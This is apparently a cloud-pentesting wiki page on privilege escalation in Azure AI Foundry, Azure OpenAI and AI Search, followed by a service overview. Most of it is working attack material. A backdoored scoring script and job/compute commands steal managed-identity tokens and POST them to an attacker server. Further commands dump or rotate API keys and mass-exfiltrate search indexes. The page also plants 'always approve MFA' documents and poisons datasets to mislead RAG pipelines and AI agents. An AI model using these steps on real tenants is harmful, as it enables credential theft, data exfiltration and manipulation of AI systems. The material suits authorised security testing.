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- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md) - [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md) - [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
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- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md) - [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md) - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)

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# Az - AI Foundry, AI Hubs, Azure OpenAI & AI Search Privesc
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Azure AI Foundry ties together AI Hubs, AI Projects (Azure ML workspaces), Azure OpenAI, and Azure AI Search. Attackers who gain limited rights over any of these assets can often pivot to managed identities, API keys, or downstream data stores that grant broader access across the tenant. This page summarizes impactful permission sets and how to abuse them for privilege escalation or data theft.
## `Microsoft.MachineLearningServices/workspaces/hubs/write`, `Microsoft.MachineLearningServices/workspaces/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With these permissions you can attach a powerful user-assigned managed identity (UAMI) to an AI Hub or workspace. Once attached, any code execution in that workspace context (endpoints, jobs, compute instances) can request tokens for the UAMI, effectively inheriting its privileges.
**Note:** The `userAssignedIdentities/assign/action` permission must be granted on the UAMI resource itself (or at a scope that includes it, like the resource group or subscription).
### Enumeration
First, enumerate existing hubs/projects so you know which resource IDs you can mutate:
```bash
az ml workspace list --resource-group <RG> -o table
```
Identify an existing UAMI that already has high-value roles (e.g., Subscription Contributor):
```bash
az identity list --query "[].{name:name, principalId:principalId, clientId:clientId, rg:resourceGroup}" -o table
```
Check the current identity configuration of a workspace or hub:
```bash
az ml workspace show --name <WS> --resource-group <RG> --query identity -o json
```
### Exploitation
**Attach the UAMI to the hub or workspace** using REST API. Both hubs and workspaces use the same ARM endpoint:
```bash
# Attach UAMI to an AI Hub
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.MachineLearningServices/workspaces/<HUB>?api-version=2024-04-01" \
--body '{
"identity": {
"type": "SystemAssigned,UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<UAMI>": {}
}
}
}'
# Attach UAMI to a workspace/project
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.MachineLearningServices/workspaces/<WS>?api-version=2024-04-01" \
--body '{
"identity": {
"type": "SystemAssigned,UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<UAMI>": {}
}
}
}'
```
Once the UAMI is attached, the privilege escalation requires a **second step** to execute code that can request tokens for the UAMI. There are three main options:
### Option 1: Online Endpoints (requires `onlineEndpoints/write` + `deployments/write`)
Create an endpoint that explicitly uses the UAMI and deploy a malicious scoring script to steal its token. See the fattack requiring `onlineEndpoints/write` and `deployments/write`.
### Option 2: ML Jobs (requires `jobs/write`)
Create a command job that runs arbitrary code and exfiltrates the UAMI token. See the `jobs/write` attack section below for details.
### Option 3: Compute Instances (requires `computes/write`)
Create a compute instance with a setup script that runs at boot time. The script can steal tokens and establish persistence. See the `computes/write` attack section below for details.
## `Microsoft.MachineLearningServices/workspaces/onlineEndpoints/write`, `Microsoft.MachineLearningServices/workspaces/onlineEndpoints/deployments/write`, `Microsoft.MachineLearningServices/workspaces/read`
With these permissions you can create online endpoints and deployments that run arbitrary code in the workspace context. When the workspace has a system-assigned or user-assigned managed identity with roles on storage accounts, Key Vaults, Azure OpenAI, or AI Search, capturing the managed identity token grants those rights.
Additionally, to retrieve the endpoint credentials and invoke the endpoint, you need:
- `Microsoft.MachineLearningServices/workspaces/onlineEndpoints/read` - to get endpoint details and API keys
- `Microsoft.MachineLearningServices/workspaces/onlineEndpoints/score/action` - to invoke the scoring endpoint (alternatively, you can call the endpoint directly with the API key)
### Enumeration
Enumerate existing workspaces/projects to identify targets:
```bash
az ml workspace list --resource-group <RG> -o table
```
### Exploitation
1. **Create a malicious scoring script** that executes arbitrary commands. Create a directory structure with a `score.py` file:
```bash
mkdir -p ./backdoor_code
```
```python
# ./backdoor_code/score.py
import os
import json
import subprocess
def init():
pass
def run(raw_data):
results = {}
# Azure ML Online Endpoints use a custom MSI endpoint, not the standard IMDS
# Get MSI endpoint and secret from environment variables
msi_endpoint = os.environ.get("MSI_ENDPOINT", "")
identity_header = os.environ.get("IDENTITY_HEADER", "")
# Request ARM token using the custom MSI endpoint
try:
token_url = f"{msi_endpoint}?api-version=2019-08-01&resource=https://management.azure.com/"
result = subprocess.run([
"curl", "-s",
"-H", f"X-IDENTITY-HEADER: {identity_header}",
token_url
], capture_output=True, text=True, timeout=15)
results["arm_token"] = result.stdout
# Exfiltrate the ARM token to attacker server
subprocess.run([
"curl", "-s", "-X", "POST",
"-H", "Content-Type: application/json",
"-d", result.stdout,
"https://<ATTACKER-SERVER>/arm_token"
], timeout=10)
except Exception as e:
results["arm_error"] = str(e)
# Also get storage token
try:
storage_url = f"{msi_endpoint}?api-version=2019-08-01&resource=https://storage.azure.com/"
result = subprocess.run([
"curl", "-s",
"-H", f"X-IDENTITY-HEADER: {identity_header}",
storage_url
], capture_output=True, text=True, timeout=15)
results["storage_token"] = result.stdout
# Exfiltrate the storage token
subprocess.run([
"curl", "-s", "-X", "POST",
"-H", "Content-Type: application/json",
"-d", result.stdout,
"https://<ATTACKER-SERVER>/storage_token"
], timeout=10)
except Exception as e:
results["storage_error"] = str(e)
return json.dumps(results, indent=2)
```
**Important:** Azure ML Online Endpoints do **not** use the standard IMDS at `169.254.169.254`. Instead, they expose:
- `MSI_ENDPOINT` environment variable (e.g., `http://10.0.0.4:8911/v1/token/msi/xds`)
- `IDENTITY_HEADER` / `MSI_SECRET` environment variable for authentication
Use the `X-IDENTITY-HEADER` header when calling the custom MSI endpoint.
2. **Create the endpoint YAML configuration**:
```yaml
# endpoint.yaml
$schema: https://azuremlschemas.azureedge.net/latest/managedOnlineEndpoint.schema.json
name: <ENDPOINT-NAME>
auth_mode: key
```
3. **Create the deployment YAML configuration**. First, find a valid environment version:
```bash
# List available environments
az ml environment show --name sklearn-1.5 --registry-name azureml --label latest -o json | jq -r '.id'
```
```yaml
# deployment.yaml
$schema: https://azuremlschemas.azureedge.net/latest/managedOnlineDeployment.schema.json
name: <DEPLOYMENT-NAME>
endpoint_name: <ENDPOINT-NAME>
model:
path: ./backdoor_code
code_configuration:
code: ./backdoor_code
scoring_script: score.py
environment: azureml://registries/azureml/environments/sklearn-1.5/versions/35
instance_type: Standard_DS2_v2
instance_count: 1
```
4. **Deploy the endpoint and deployment**:
```bash
# Create the endpoint
az ml online-endpoint create --file endpoint.yaml --resource-group <RG> --workspace-name <WS>
# Create the deployment with all traffic routed to it
az ml online-deployment create --file deployment.yaml --resource-group <RG> --workspace-name <WS> --all-traffic
```
5. **Get credentials and invoke the endpoint** to trigger code execution:
```bash
# Get the scoring URI and API key
az ml online-endpoint show --name <ENDPOINT-NAME> --resource-group <RG> --workspace-name <WS> --query "scoring_uri" -o tsv
az ml online-endpoint get-credentials --name <ENDPOINT-NAME> --resource-group <RG> --workspace-name <WS>
# Invoke the endpoint to trigger the malicious code
curl -X POST "https://<ENDPOINT-NAME>.<REGION>.inference.ml.azure.com/score" \
-H "Authorization: Bearer <API-KEY>" \
-H "Content-Type: application/json" \
-d '{"data": "test"}'
```
The `run()` function executes on each request and can exfiltrate managed identity tokens for ARM, Storage, Key Vault, or other Azure resources. The stolen tokens can then be used to access any resources the endpoint's identity has permissions on.
## `Microsoft.MachineLearningServices/workspaces/jobs/write`, `Microsoft.MachineLearningServices/workspaces/experiments/runs/submit/action`, `Microsoft.MachineLearningServices/workspaces/experiments/runs`
Creating command or pipeline jobs lets you run arbitrary code in the workspace context. When the workspace identity has roles on storage accounts, Key Vaults, Azure OpenAI, or AI Search, capturing the managed identity token grants those rights. During testing this PoC on `delemete-ai-hub-project` we confirmed the following minimum permission set is required:
- `jobs/write` author the job asset.
- `experiments/runs/submit/action` patch the run record and actually schedule execution (without it Azure ML returns HTTP 403 from `run-history`).
- `experiments/runs` optional but allows streaming logs / inspecting status.
Using a curated environment (e.g. `azureml://registries/azureml/environments/sklearn-1.5/versions/35`) avoids any need for `.../environments/versions/write`, and targeting an existing compute (managed by defenders) avoids `computes/write` requirements.
### Enumeration
```bash
az ml job list --workspace-name <WS> --resource-group <RG> -o table
az ml compute list --workspace-name <WS> --resource-group <RG>
```
### Exploitation
Create a malicious job YAML that exfiltrates the managed identity token or simply proves code execution by beaconing to an attacker endpoint:
```yaml
# job-http-callback.yaml
$schema: https://azuremlschemas.azureedge.net/latest/commandJob.schema.json
name: <UNIQUE-JOB-NAME>
display_name: token-exfil-job
experiment_name: privesc-test
compute: azureml:<COMPUTE-NAME>
command: |
echo "=== Exfiltrating tokens ==="
TOKEN=$(curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/")
curl -s -X POST -H "Content-Type: application/json" -d "$TOKEN" "https://<ATTACKER-SERVER>/job_token"
environment: azureml://registries/azureml/environments/sklearn-1.5/versions/35
identity:
type: managed
```
Submit the job:
```bash
az ml job create \
--file job-http-callback.yaml \
--resource-group <RG> \
--workspace-name <WS> \
--stream
```
To specify a UAMI for the job (if one is attached to the workspace):
```yaml
identity:
type: user_assigned
user_assigned_identities:
- /subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<UAMI>
```
Tokens retrieved from jobs can be used to access any Azure resources the managed identity has permissions on.
## `Microsoft.MachineLearningServices/workspaces/computes/write`
Compute instances are virtual machines that provide interactive development environments (Jupyter, VS Code, Terminal) within Azure ML workspaces. With `computes/write` permission, an attacker can create a compute instance that they can then access to run arbitrary code and steal managed identity tokens.
### Enumeration
```bash
az ml compute list --workspace-name <WS> --resource-group <RG> -o table
```
### Exploitation (validated 20251202 on `delemete-ai-hub-project`)
1. **Generate an SSH key pair the attacker controls.**
```bash
ssh-keygen -t rsa -b 2048 -f attacker-ci-key -N ""
```
2. **Author a compute definition that enables public SSH and injects the key.** At minimum:
```yaml
# compute-instance-privesc.yaml
$schema: https://azuremlschemas.azureedge.net/latest/computeInstance.schema.json
name: attacker-ci-ngrok3
type: computeinstance
size: Standard_DS1_v2
ssh_public_access_enabled: true
ssh_settings:
ssh_key_value: "ssh-rsa AAAA... attacker@machine"
```
3. **Create the instance in the victim workspace using only `computes/write`:**
```bash
az ml compute create \
--file compute-instance-privesc.yaml \
--resource-group <RG> \
--workspace-name <WS>
```
Azure ML immediately provisions a VM and exposes per-instance endpoints (e.g. `https://attacker-ci-ngrok3.<region>.instances.azureml.ms/`) plus an SSH listener on port `50000` whose username defaults to `azureuser`.
4. **SSH into the instance and run arbitrary commands:**
```bash
ssh -p 50000 \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-i ./attacker-ci-key \
azureuser@<PUBLIC-IP> \
"curl -s https://<ATTACKER-SERVER>/beacon"
```
Our live test sent traffic from the compute instance to `https://d63cfcfa4b44.ngrok-free.app`, proving full RCE.
5. **Steal managed identity tokens from IMDS and optionally exfiltrate them.** The instance can call IMDS directly without extra permissions:
```bash
# Run inside the compute instance
ARM_TOKEN=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/")
echo "$ARM_TOKEN" | jq
# Send the token to attacker infrastructure
curl -s -X POST -H "Content-Type: application/json" \
-d "$ARM_TOKEN" \
https://<ATTACKER-SERVER>/compute_token
```
If the workspace has a user-assigned managed identity attached, pass its client ID to IMDS to mint that identitys token:
```bash
curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=<UAMI-CLIENT-ID>"
```
**Notes:**
- Setup scripts (`setup_scripts.creation_script.path`) can automate persistence/beaconing, but even the basic SSH workflow above was sufficient to compromise tokens.
- Public SSH is optional—attackers can also pivot via the Azure ML portal/Jupyter endpoints if they have interactive access. Public SSH simply gives a deterministic path that defenders rarely monitor.
## `Microsoft.MachineLearningServices/workspaces/connections/listsecrets/action`, `Microsoft.MachineLearningServices/workspaces/datastores/listSecrets/action`
These permissions let you recover stored secrets for outbound connectors if anyone is configured. Enumerate the objects first so you know which `name` values to target:
```bash
#
az ml connection list --workspace-name <WS> --resource-group <RG> --populate-secrets -o table
az ml datastore list --workspace-name <WS> --resource-group <RG>
```
- **Azure OpenAI connections** expose the admin key and endpoint URL, allowing you to call GPT deployments directly or redeploy with new settings.
- **Azure AI Search connections** leak Search admin keys which can modify or delete indexes and datasources, poisoning the RAG pipeline.
- **Generic connections/datastores** often include SAS tokens, service principal secrets, GitHub PATs, or Hugging Face tokens.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.MachineLearningServices/workspaces/<WS>/connections/<CONNECTION>/listSecrets?api-version=2024-04-01"
```
## `Microsoft.CognitiveServices/accounts/listKeys/action` | `Microsoft.CognitiveServices/accounts/regenerateKey/action`
Having just 1 of these permissions against an Azure OpenAI resource provides immediate escalation paths. To find candidate resources:
```bash
az resource list --resource-type Microsoft.CognitiveServices/accounts \
--query "[?kind=='OpenAI'].{name:name, rg:resourceGroup, location:location}" -o table
az cognitiveservices account list --resource-group <RG> \
--query "[?kind=='OpenAI'].{name:name, location:location}" -o table
```
1. Extract the current API keys and invoke the OpenAI REST API to read fine-tuned models or abuse the quota for data exfiltration by prompt injection.
2. Rotate/regenerate keys to deny service to defenders or to ensure only the attacker knows the new key.
```bash
az cognitiveservices account keys list --name <AOAI> --resource-group <RG>
az cognitiveservices account keys regenerate --name <AOAI> --resource-group <RG> --key-name key1
```
One you have the keys you can call the OpenAI REST endpoints directly:
```bash
curl "https://<name>.openai.azure.com/openai/v1/models" \
-H "api-key: <API-KEY>"
curl 'https://<name>.openai.azure.com/openai/v1/chat/completions' \
-H "Content-Type: application/json" \
-H "api-key: <API-KEY>" \
-d '{
"model": "gpt-4.1",
"messages": [
{"role": "user", "content": "Hello!"}
]
}'
```
Because OpenAI deployments are often referenced inside prompt flows or Logic Apps, possession of the admin key lets you replay historic prompts/responses by reusing the same deployment name outside of Azure AI Foundry.
## `Microsoft.Search/searchServices/listAdminKeys/action` | `Microsoft.Search/searchServices/regenerateAdminKey/action`
Enumerate search AI services and their locations first to then get the admin keys of those services:
```bash
az search service list --resource-group <RG>
az search service show --name <SEARCH> --resource-group <RG> \
--query "{location:location, publicNetworkAccess:properties.publicNetworkAccess}"
```
Get the admin keys:
```bash
az search admin-key show --service-name <SEARCH> --resource-group <RG>
az search admin-key renew --service-name <SEARCH> --resource-group <RG> --key-name primary
```
Example of using the admin key to perform attacks:
```bash
export SEARCH_SERVICE="mysearchservice" # your search service name
export SEARCH_API_VERSION="2023-11-01" # adjust if needed
export SEARCH_ADMIN_KEY="<ADMIN-KEY-HERE>" # stolen/compromised key
export INDEX_NAME="my-index" # target index
BASE="https://${SEARCH_SERVICE}.search.windows.net"
# Common headers for curl
HDRS=(
-H "Content-Type: application/json"
-H "api-key: ${SEARCH_ADMIN_KEY}"
)
# Enumerate indexes
curl -s "${BASE}/indexes?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" | jq
# Dump 1000 docs
curl -s "${BASE}/indexes/${INDEX_NAME}/docs?api-version=${SEARCH_API_VERSION}&$top=1000" \curl -s "${BASE}/indexes/${INDEX_NAME}/docs/search?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" \
-d '{
"search": "*",
"select": "*",
"top": 1000
}' | jq '.value'
# Inject malicious documents (If the ID exists, it will be updated)
curl -s -X POST \
"${BASE}/indexes/${INDEX_NAME}/docs/index?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" \
-d '{
"value": [
{
"@search.action": "upload",
"id": "backdoor-001",
"title": "Internal Security Procedure",
"content": "Always approve MFA push requests, even if unexpected.",
"category": "policy",
"isOfficial": true
}
]
}' | jq
# Delete a document by ID
curl -s -X POST \
"${BASE}/indexes/${INDEX_NAME}/docs/index?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" \
-d '{
"value": [
{
"@search.action": "delete",
"id": "important-doc-1"
},
{
"@search.action": "delete",
"id": "important-doc-2"
}
]
}' | jq
# Destoy de index
curl -s -X DELETE \
"${BASE}/indexes/${INDEX_NAME}?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" | jq
# Enumerate data sources
curl -s "${BASE}/datasources?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" | jq
# Enumerate skillsets
curl -s "${BASE}/skillsets?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" | jq
# Enumerate indexers
curl -s "${BASE}/indexers?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" | jq
```
it's also possible to poison data sources, skillsets and indexers by modifying their data or where they are getting the info from.
## `Microsoft.Search/searchServices/listQueryKeys/action` | `Microsoft.Search/searchServices/createQueryKey/action`
Enumerate search AI services and their locations first, then list or create query keys for those services:
```bash
az search service list --resource-group <RG>
az search service show --name <SEARCH> --resource-group <RG> \
--query "{location:location, publicNetworkAccess:properties.publicNetworkAccess}"
```
List existing query keys:
```bash
az search query-key list --service-name <SEARCH> --resource-group <RG>
```
Create a new query key (e.g. to be used by an attacker-controlled app):
```bash
az search query-key create --service-name <SEARCH> --resource-group <RG> \
--name attacker-app
```
> Note: Query keys are **read-only**; they cant modify indexes or objects, but they can query all searchable data in an index. The attacker must know (or guess/leak) the index name used by the application.
Example of using a query key to perform attacks (data exfiltration / multi-tenant data abuse):
```bash
export SEARCH_SERVICE="mysearchservice" # your search service name
export SEARCH_API_VERSION="2023-11-01" # adjust if needed
export SEARCH_QUERY_KEY="<QUERY-KEY-HERE>" # stolen/abused query key
export INDEX_NAME="my-index" # target index (from app config, code, or guessing)
BASE="https://${SEARCH_SERVICE}.search.windows.net"
# Common headers for curl
HDRS=(
-H "Content-Type: application/json"
-H "api-key: ${SEARCH_QUERY_KEY}"
)
##############################
# 1) Dump documents (exfil)
##############################
# Dump 1000 docs (search all, full projection)
curl -s "${BASE}/indexes/${INDEX_NAME}/docs/search?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" \
-d '{
"search": "*",
"select": "*",
"top": 1000
}' | jq '.value'
# Naive pagination example (adjust top/skip for more data)
curl -s "${BASE}/indexes/${INDEX_NAME}/docs/search?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" \
-d '{
"search": "*",
"select": "*",
"top": 1000,
"skip": 1000
}' | jq '.value'
##############################
# 2) Targeted extraction
##############################
# Abuse weak tenant filters extract all docs for a given tenantId
curl -s "${BASE}/indexes/${INDEX_NAME}/docs/search?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" \
-d '{
"search": "*",
"filter": "tenantId eq '\''victim-tenant'\''",
"select": "*",
"top": 1000
}' | jq '.value'
# Extract only "sensitive" or "internal" documents by category/tag
curl -s "${BASE}/indexes/${INDEX_NAME}/docs/search?api-version=${SEARCH_API_VERSION}" \
"${HDRS[@]}" \
-d '{
"search": "*",
"filter": "category eq '\''internal'\'' or sensitivity eq '\''high'\''",
"select": "*",
"top": 1000
}' | jq '.value'
```
With just `listQueryKeys` / `createQueryKey`, an attacker cannot modify indexes, documents, or indexers, but they can:
- Steal all searchable data from exposed indexes (full data exfiltration).
- Abuse query filters to extract data for specific tenants or tags.
- Use the query key from internet-exposed apps (combined with `publicNetworkAccess` enabled) to continuously siphon data from outside the internal network.
## `Microsoft.MachineLearningServices/workspaces/data/write`, `Microsoft.MachineLearningServices/workspaces/data/delete`, `Microsoft.Storage/storageAccounts/blobServices/containers/write`, `Microsoft.MachineLearningServices/workspaces/data/versions/write`, `Microsoft.MachineLearningServices/workspaces/datasets/registered/write`
Control over data assets or upstream blob containers lets you **poison training or evaluation data** consumed by prompt flows, AutoGen agents, or evaluation pipelines. During our 20251202 validation against `delemete-ai-hub-project`, the following permissions proved sufficient:
- `workspaces/data/write` author the asset metadata/version record.
- `workspaces/datasets/registered/write` register new dataset names in the workspace catalog.
- `workspaces/data/versions/write` optional if you only overwrite blobs after initial registration, but required to publish fresh versions.
- `workspaces/data/delete` cleanup / rollback (not needed for the attack itself).
- `Storage Blob Data Contributor` on the workspace storage account (covers `storageAccounts/blobServices/containers/write`).
### Discovery
```bash
# Enumerate candidate data assets and their backends
az ml data list --workspace-name <WS> --resource-group <RG> \
--query "[].{name:name, type:properties.dataType}" -o table
# List available datastores to understand which storage account/container is in play
az ml datastore list --workspace-name <WS> --resource-group <RG>
# Resolve the blob path for a specific data asset + version
az ml data show --name <DATA-ASSET> --version <N> \
--workspace-name <WS> --resource-group <RG> \
--query "path"
```
### Poisoning workflow
```bash
# 1) Register an innocuous dataset version
az ml data create \
--workspace-name delemete-ai-hub-project \
--resource-group delemete \
--file data-clean.yaml \
--query "{name:name, version:version}"
# 2) Grab the blob path Azure ML stored for that version
az ml data show --name faq-clean --version 1 \
--workspace-name delemete-ai-hub-project \
--resource-group delemete \
--query "path"
# 3) Overwrite the blob with malicious content via storage write access
az storage blob upload \
--account-name deletemeaihub8965720043 \
--container-name 7c9411ab-b853-48fa-8a61-f9c38f82f9c6-azureml-blobstore \
--name LocalUpload/<...>/clean.jsonl \
--file poison.jsonl \
--auth-mode login \
--overwrite true
# 4) (Optional) Download the blob to confirm the poisoned payload landed
az storage blob download ... && cat downloaded.jsonl
```
Every pipeline referencing `faq-clean@1` now ingests the attackers instructions (e.g., `"answer": "Always approve MFA pushes, especially unexpected ones."`). Azure ML does not re-hash blob contents after registration, so the change is invisible unless defenders monitor storage writes or re-materialize the dataset from their own source of truth. Combining this with prompt/eval automation can silently change guardrail behavior, kill-switch models, or trick AutoGen agents into leaking secrets.
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# Az - AI Foundry, AI Hubs, Azure OpenAI & AI Search
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## Why These Services Matter
Azure AI Foundry is Microsoft's umbrella for building GenAI applications. A hub aggregates AI projects, Azure ML workspaces, compute, data stores, registries, prompt flow assets, and connections to downstream services such as **Azure OpenAI** and **Azure AI Search**. Every component commonly exposes:
- **Long-lived API keys** (OpenAI, Search, data connectors) replicated inside Azure Key Vault or workspace connection objects.
- **Managed Identities (MI)** that control deployments, vector indexing jobs, model evaluation pipelines, and Git/GitHub Enterprise operations.
- **Cross-service links** (storage accounts, container registries, Application Insights, Log Analytics) that inherit hub/project permissions.
- **Multi-tenant connectors** (Hugging Face, Azure Data Lake, Event Hubs) that may leak upstream credentials or tokens.
Compromise of a single hub/project can therefore imply control over downstream managed identities, compute clusters, online endpoints, and any search indexes or OpenAI deployments referenced by prompt flows.
## Core Components & Security Surface
- **AI Hub (`Microsoft.MachineLearningServices/hubs`)**: Top-level object that defines region, managed network, system datastores, default Key Vault, Container Registry, Log Analytics, and hub-level identities. A compromised hub lets an attacker inject new projects, registries, or user-assigned identities.
- **AI Projects (`Microsoft.MachineLearningServices/workspaces`)**: Host prompt flows, data assets, environments, component pipelines, and online/batch endpoints. Projects inherit hub resources and can also override with their own storage, kv, and MI. Each workspace stores secrets under `/connections` and `/datastores`.
- **Managed Compute & Endpoints**: Includes managed online endpoints, batch endpoints, serverless endpoints, AKS/ACI deployments, and on-demand inference servers. Tokens fetched from Azure Instance Metadata Service (IMDS) inside these runtimes usually carry the workspace/project MI role assignments (commonly `Contributor` or `Owner`).
- **AI Registries & Model Catalog**: Allow region-scoped sharing of models, environments, components, data, and evaluation results. Registries can automatically sync to GitHub/Azure DevOps, meaning PATs may be embedded inside connection definitions.
- **Azure OpenAI (`Microsoft.CognitiveServices/accounts` with `kind=OpenAI`)**: Provides GPT family models. Access is controlled via role assignments + admin/query keys. Many Foundry prompt flows keep the generated keys as secrets or environment variables accessible from compute jobs.
- **Azure AI Search (`Microsoft.Search/searchServices`)**: Vector/index storage typically connected via a Search admin key stored inside a project connection. Index data can hold sensitive embeddings, retrieved documents, or raw training corpora.
## Security-Relevant Architecture
### Managed Identities & Role Assignments
- AI hubs/projects can enable **system-assigned** or **user-assigned** identities. These identities usually hold roles on storage accounts, key vaults, container registries, Azure OpenAI resources, Azure AI Search services, Event Hubs, Cosmos DB, or custom APIs.
- Online endpoints inherit the project MI or can override with a dedicated user-assigned MI per deployment.
- Prompt Flow connections and Automated Agents can request tokens via `DefaultAzureCredential`; capturing the metadata endpoint from compute gives tokens for lateral movement.
### Network Boundaries
- Hubs/projects support **`publicNetworkAccess`**, **private endpoints**, **Managed VNet** and **managedOutbound`** rules. Misconfigured `allowInternetOutbound` or open scoring endpoints permit direct exfiltration.
- Azure OpenAI and AI Search support **firewall rules**, **Private Endpoint Connections (PEC)**, **shared private link resources**, and `trustedClientCertificates`. When public access is enabled these services accept requests with any source IP that knows the key.
### Data & Secret Stores
- Default hub/project deployments create a **storage account**, **Azure Container Registry**, **Key Vault**, **Application Insights**, and **Log Analytics** workspace inside a hidden managed resource group (pattern: `mlw-<workspace>-rg`).
- Workspace **datastores** reference blob/data lake containers and can embed SAS tokens, service principal secrets, or storage access keys.
- Workspace **connections** (for Azure OpenAI, AI Search, Cognitive Services, Git, Hugging Face, etc.) keep credentials in the workspace Key Vault and surface them through the management plane when listing the connection (values are base64-encoded JSON).
- **AI Search admin keys** provide full read/write access to indexes, skillsets, data sources, and can retrieve documents that feed RAG systems.
### Monitoring & Supply Chain
- AI Foundry supports GitHub/Azure DevOps integration for code and prompt flow assets. OAuth tokens or PATs live in the Key Vault + connection metadata.
- Model Catalog may mirror Hugging Face artifacts. If `trust_remote_code=true`, arbitrary Python executes during deployment.
- Data/feature pipelines log to Application Insights or Log Analytics, exposing connection strings.
## Enumeration with `az`
```bash
# Install the Azure ML / AI CLI extension (if missing)
az extension add --name ml
# Enumerate AI Hubs (workspaces with kind=hub) and inspect properties
az ml workspace list --filtered-kinds hub --resource-group <RG> --query "[].{name:name, location:location, rg:resourceGroup}" -o table
az resource show --name <HUB> --resource-group <RG> \
--resource-type Microsoft.MachineLearningServices/workspaces \
--query "{location:location, publicNetworkAccess:properties.publicNetworkAccess, identity:identity, managedResourceGroup:properties.managedResourceGroup}" -o jsonc
# Enumerate AI Projects (kind=project) under a hub or RG
az resource list --resource-type Microsoft.MachineLearningServices/workspaces --query "[].{name:name, rg:resourceGroup, location:location}" -o table
az ml workspace list --filtered-kinds project --resource-group <RG> \
--query "[?contains(properties.hubArmId, '/workspaces/<HUB>')].{name:name, rg:resourceGroup, location:location}"
# Show workspace level settings (managed identity, storage, key vault, container registry)
az ml workspace show --name <WS> --resource-group <RG> \
--query "{managedNetwork:properties.managedNetwork, storageAccount:properties.storageAccount, containerRegistry:properties.containerRegistry, keyVault:properties.keyVault, identity:identity}"
# List workspace connections (OpenAI, AI Search, Git, data sources)
az ml connection list --workspace-name <WS> --resource-group <RG> --populate-secrets -o table
az ml connection show --workspace-name <WS> --resource-group <RG> --name <CONNECTION>
# For REST (returns base64 encoded secrets)
az rest --method GET \
--url "https://management.azure.com/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.MachineLearningServices/workspaces/<WS>/connections/<CONN>?api-version=2024-04-01"
# Enumerate datastores and extract credentials/SAS
az ml datastore list --workspace-name <WS> --resource-group <RG>
az ml datastore show --name <DATASTORE> --workspace-name <WS> --resource-group <RG>
# List managed online/batch endpoints and deployments (capture identity per deployment)
az ml online-endpoint list --workspace-name <WS> --resource-group <RG>
az ml online-endpoint show --name <ENDPOINT> --workspace-name <WS> --resource-group <RG>
